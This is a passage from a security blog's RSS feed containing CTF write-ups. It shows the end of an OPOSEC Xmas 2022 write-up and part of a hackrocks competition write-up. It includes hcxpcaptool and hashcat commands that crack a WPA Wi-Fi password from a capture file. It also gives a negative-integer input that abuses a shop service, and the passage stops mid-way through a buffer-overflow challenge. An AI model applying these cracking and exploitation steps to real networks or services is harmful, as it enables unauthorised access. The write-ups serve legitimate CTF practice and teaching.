&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Opening&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opoxmas22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;armysi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;22222&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Done&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;PIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0000&lt;/span&gt; 
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Opened&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;26128&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Hurry&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;you&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;got&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seconds&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Use&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;this&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PIN&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4283&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;26128&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;60&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;4283&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Opening&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opoxmas22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;armysi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;26128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Done&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Opened&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24571&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Hurry&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;you&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;got&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seconds&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Use&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;this&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PIN&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8503&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;24571&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;60&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;8503&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Opening&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opoxmas22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;armysi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24571&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Done&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Kito_KitoWho&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_MosKito&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Closed&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opoxmas22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;armysi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24571&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Closed&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opoxmas22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;armysi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;26128&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Closed&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;connection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opoxmas22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;armysi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;22222&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Flag{Kito_KitoWho?_MosKito}&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;my-network-is-secure-300-pts&quot;&gt;My Network is Secure! (300 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;Taberna belga said their free WiFi is secure because it has a password, however people are still getting passwords! How is this~possible?!&lt;/p&gt;

  &lt;p&gt;Attachtment: SecureNetwork.cap&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And now is time for some network capture stuff. But the network is “protected” with WPA-TKIP (i.e., WPA-1). Thus, we can break it, somehow. With &lt;a href=&quot;https://github.com/ZerBea/hcxdumptool&quot;&gt;hcxdumptool&lt;/a&gt; we can dump the hash of the WiFi password in a &lt;a href=&quot;https://hashcat.net/hashcat/&quot;&gt;hashcat&lt;/a&gt; compatible format:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ editcap -F pcap SecureNetwork.cap SecureNetwork.pcap
$ hcxpcaptool -z hash.txt SecureNetwork.pcap
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;WPA*02*4ca8dcfc1ae47ae4c892d2cc25f4e1e5*907841398870*d6a78c062e85*5365637572654e65742057696669*3ca0a8709bf3a4dc5041041109b41f01565f7b5a30608ed4c02e5c4f523e4be3*01030077fe01090020000000000000000110f11a201a62f4f081e097ee34d8c20f84822bb6aa0ab4c0af3423657187dbf80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018dd160050f20101000050f20201000050f20201000050f202*02
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running hashcat in a Google Colab&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; we can harness the power of the free GPUs and quickly brute-force the hash using a dictionary (in the case, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rockyou.txt&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat (v6.2.6-208-gcd8bff168) starting

nvmlDeviceGetFanSpeed(): Not Supported

CUDA API (CUDA 11.2)
====================
* Device #1: Tesla T4, 15007/15109 MB, 40MCU

OpenCL API (OpenCL 1.2 CUDA 11.2.109) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #2: Tesla T4, skipped

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Initializing backend runtime for device #1. Please be patient...tcmalloc: large alloc 1405091840 bytes == 0x5625daafa000 @  0x7fc30b79e001 0x5625aec13c46 0x5625aec5d04d 0x5625aec0a45c 0x5625aec0adb2 0x5625aec05aff 0x7fc30a9d0c87 0x5625aec05b5a
Host memory required for this attack: 1470 MB

Dictionary cache built:
* Filename..: wordlists/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

4ca8dcfc1ae47ae4c892d2cc25f4e1e5:907841398870:d6a78c062e85:SecureNet Wifi:spiderman
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: QVuyxSZh
Time.Started.....: Sat Jan  7 22:08:10 2023 (0 secs)
Time.Estimated...: Sat Jan  7 22:08:10 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   345.9 kH/s (7.09ms) @ Accel:64 Loops:128 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 207722/14344384 (1.45%)
Rejected.........: 125802/207722 (60.56%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456789 -&amp;gt; 2deenero
Hardware.Mon.#1..: Temp: 63c Util: 48% Core:1230MHz Mem:5000MHz Bus:16

Started: Sat Jan  7 22:07:39 2023
Stopped: Sat Jan  7 22:08:11 2023
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And it’s cracked! &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spiderman&lt;/code&gt; is the strong password in this one!&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;/images/xmas22/wireshark.png&quot; style=&quot;max-width:370px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spiderman&lt;/code&gt; as the password in Wireshark we can see all the network traffic, and if we follow the only existing TCP connection, we can get our flag &lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;!&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;/images/xmas22/wireshark1.png&quot; style=&quot;max-width:650px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{morestudy}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;wrap-up&quot;&gt;Wrap-up&lt;/h2&gt;

&lt;center&gt;&lt;img src=&quot;/images/xmas22/result.png&quot; style=&quot;max-width:650px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;Another Xmas, another CTF. As always, kudos for the challenge makers, and to OPOSEC community. This was the final top 10, and yes, I just started playing late in the game due to time constrains. At the time of writing there is an &lt;a href=&quot;https://www.dropbox.com/s/dl/v5w1usx56uqwtjz/Once%20Upon%20a%20Time%20a%20Xmas%20Challenge.pdf&quot;&gt;official write-up is available here&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/&quot;&gt;Extracting Hashes and Domain Info From ntds.dit&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://github.com/someshkar/colabcat&quot;&gt;Colabcat: Run Hashcat on Google Colab with session restore capabilities with Google Drive&lt;/a&gt; &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://kalitut.com/decrypt-wi-fi-traffic-wireshark/&quot;&gt;How to decrypt wifi traffic wireshark&lt;/a&gt; &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Tue, 11 Apr 2023 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/security/2023/04/11/xmas-oposec-22.html</link>
        <guid isPermaLink="true">https://jpdias.me/security/2023/04/11/xmas-oposec-22.html</guid>
        
        <category>security</category>
        
        <category>ctf</category>
        
        <category>hackrocks</category>
        
        <category>hacking</category>
        
        
        <category>security</category>
        
      </item>
    
      <item>
        <title>Portuguese Cybersecurity Competition CTF Write-up</title>
        <description>&lt;p&gt;Some weeeks ago I’ve participated in the “Portuguese Cybersecurity Competition” organized by &lt;a href=&quot;https://investamarante.com/&quot;&gt;InvestAmarante&lt;/a&gt; and powered by &lt;a href=&quot;https://hackrocks.com/&quot;&gt;hackrocks&lt;/a&gt;. Given that this was a begginer friendly (maybe too friendly…) Capture The Flag competition there were no major learning takeways, but it is always useful to pratice some old tricks and tools (&lt;em&gt;and do some over-engineering… as always&lt;/em&gt;).&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;The &lt;del&gt;worst&lt;/del&gt; less good part of the CTF was that the challenges categories did not match the challenges content, and seemed purely random.&lt;/p&gt;

&lt;p&gt;I also want to give kudos &lt;a href=&quot;https://github.com/mluis/&quot;&gt;mluis&lt;/a&gt; for the company as he also participated in the CTF, making things more fun! So let’s get to the write-up!&lt;/p&gt;

&lt;h2 id=&quot;strange-email&quot;&gt;Strange Email&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;The text of the mail is as follows:&lt;/p&gt;

  &lt;p&gt;Good morning! I would like to order, please, a T-shirt with the following image printed on it, since I am a big fan of computers…&lt;/p&gt;

  &lt;p&gt;&lt;em&gt;000 111 0000 100 0001 0000 / 101 0000 111 000 / 0100 / 100 0110 / 10 0100 110 1101 100 000 000 0000 110 / 0100 1101 / 010 000 010 001 011 010&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Strange… that string doesn’t seem to make any sense in binary. However, if it is a help message, it is obvious that your messages could be monitored and therefore you must hide the real message somehow?&lt;/p&gt;

  &lt;p&gt;Can you help us find the young man being held??&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So this was a cryto / obfuscation challenge. While I’ve lost more time than I’m proud to admit solving this challenge, this is pretty trivial if you consider that (1) the bits sequences do not follow any standard, i.e., no multiple of two, and (2) the separator &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt; gives it away. Nonetheless, my first attempt was to use &lt;a href=&quot;https://www.quipqiup.com/&quot;&gt;quipqiup&lt;/a&gt; to solve it without any luck. Next I followed the &lt;em&gt;overengineering&lt;/em&gt; path and attempt to solve it using a &lt;a href=&quot;https://en.wikipedia.org/wiki/Bacon%27s_cipher&quot;&gt;Bacon’s cypher&lt;/a&gt; without any luck.&lt;/p&gt;

&lt;p&gt;I’ve solved other challenges in the meanwhile, and given that this was the welcoming challenge, it cannot be that hard. Looking back at the visible &lt;em&gt;hints&lt;/em&gt;, if we replace: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0 -&amp;gt; .&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 -&amp;gt; -&lt;/code&gt;  we discover a plain old Morse message, that can be easy decoded using &lt;a href=&quot;https://gchq.github.io/CyberChef/&quot;&gt;CyberChef&lt;/a&gt; or any other tool&lt;/p&gt;

&lt;p&gt;However the resulting letters does not making any sense… Maybe a little rotation solves the problem? ROT13 gave no results, but ROT23 (!?) worked perfectly!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/hackrocks22/20221130173856.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And the flag is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OPORTO&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;veracruz&quot;&gt;Veracruz&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Here you have the &lt;strong&gt;Found files.zip&lt;/strong&gt;. Your mission will be to analyze these files and find out if there’s something wrong… Let’s go!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This was the trickiest one. Three files were inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;files.zip&lt;/code&gt; archive:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;contenedor.pdf&lt;/code&gt;: &lt;del&gt;what I tought to be&lt;/del&gt; a corrupted PDF file. Using all the tricks to recover the file to a readable format didn’t succed. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binwalk&lt;/code&gt; also wasn’t able to extract anything from the file.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README.txt&lt;/code&gt;: a TXT file with the following text: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hi there, This PDF is the receipt for the encryptor we bought in Saimazoon.&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;algarve.jpg&lt;/code&gt;: A random photo. Using all the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steg&lt;/code&gt; tools (props to &lt;a href=&quot;aperisolve.fr/&quot;&gt;Aperi’solve&lt;/a&gt;) to extract information from the image did not provide anything.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;portugal1.jpg&lt;/code&gt;: Similar to the previous random picture, there was nothing within it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After spending some time messing around with it, and talking with &lt;em&gt;mluis&lt;/em&gt;, he suggested that it could be related with &lt;a href=&quot;https://www.veracrypt.fr/code/VeraCrypt/&quot;&gt;Veracrypt&lt;/a&gt; (the challenge title says it all now…). So, assuming that the corrupted PDF file was the &lt;em&gt;vault&lt;/em&gt;, the keys must lie amongst the remaining files.&lt;/p&gt;

&lt;p&gt;After finding out that you can use files as partial keys to the vault, and with some trial and error, we found out that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;algarve.jpg&lt;/code&gt; was the keyfile, and the password string was extracted from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README.txt&lt;/code&gt; file, being the location of the hypothetical delivery site, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Saimazoon&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This would give access to a text file with the flag, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SLINKWOIRU&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;shopper&quot;&gt;Shopper&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Connect to the service, called &lt;strong&gt;shopper&lt;/strong&gt;, and try to exploit it:&lt;/p&gt;

  &lt;p&gt;&lt;strong&gt;challenges.hackrocks.com:42421&lt;/strong&gt;
&lt;strong&gt;NOTE&lt;/strong&gt;: No other ports are part of this challenge.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Finally, a shell/service to play with! Connecting using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telnet&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ telnet challenges.hackrocks.com 42421
Trying 95.216.99.248...
Connected to challenges.hackrocks.com.
Escape character is &lt;span class=&quot;s1&quot;&gt;&apos;^]&apos;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
1. buy chocolate &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;
2. buy token &lt;span class=&quot;nv&quot;&gt;$100&lt;/span&gt;
your money &lt;span class=&quot;nv&quot;&gt;$10&lt;/span&gt;
choose: 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we have a system that lets us buy chocolates for 1$! So messing around with the input must give us something. Attempting to simply crash the service with large values or strings did not give it away immediatilly.&lt;/p&gt;

&lt;p&gt;Once again, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mluis&lt;/code&gt; suggested using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MAX&lt;/code&gt; values, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MAX_INT&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MIN_INT&lt;/code&gt; given the inputs are always numeric. Doing that trick, giving the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MIN_INT&lt;/code&gt; as input to option &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-2147483648&lt;/code&gt;), we can have MAX MONEY:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. buy chocolate &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;
2. buy token &lt;span class=&quot;nv&quot;&gt;$100&lt;/span&gt;
your money &lt;span class=&quot;nv&quot;&gt;$10&lt;/span&gt;
choose: 1
how much&amp;gt; &lt;span class=&quot;nt&quot;&gt;-2147483648&lt;/span&gt;
1. buy chocolate &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;
2. buy token &lt;span class=&quot;nv&quot;&gt;$100&lt;/span&gt;
your money &lt;span class=&quot;nv&quot;&gt;$2147483658&lt;/span&gt;
choose: 2
the token is: flag&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;n3gativ3_input_and_m0re_money&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And we get the flag: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{n3gativ3_input_and_m0re_money}&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;ovlo&quot;&gt;Ovlo&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;You will find the service at the following host:
&lt;strong&gt;challenges.hackrocks.com:37881&lt;/strong&gt;&lt;/p&gt;

  &lt;p&gt;Ready? Then don’t waste your time and go ahead!&lt;br /&gt;
&lt;strong&gt;NOTE&lt;/strong&gt;: No other ports are part of this challenge.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This challenge, once again, gives us a shell to play with, as well as the C source code of the service running in port 37881.&lt;/p&gt;

&lt;p&gt;So, connecting to it:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ telnet challenges.hackrocks.com 37881
Trying 95.216.99.248...
Connected to challenges.hackrocks.com.
Escape character is &lt;span class=&quot;s1&quot;&gt;&apos;^]&apos;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
vent anything to me
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So we are given an “infinite” input box, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vent anything to me&lt;/code&gt;. Without even looking at the sauce, we can enter a lot of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; to see what happens!&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vent anything to me
